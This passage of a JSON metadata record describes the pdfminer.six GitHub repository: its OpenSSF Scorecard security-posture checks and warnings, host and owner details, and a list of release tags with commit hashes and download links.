iner.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_a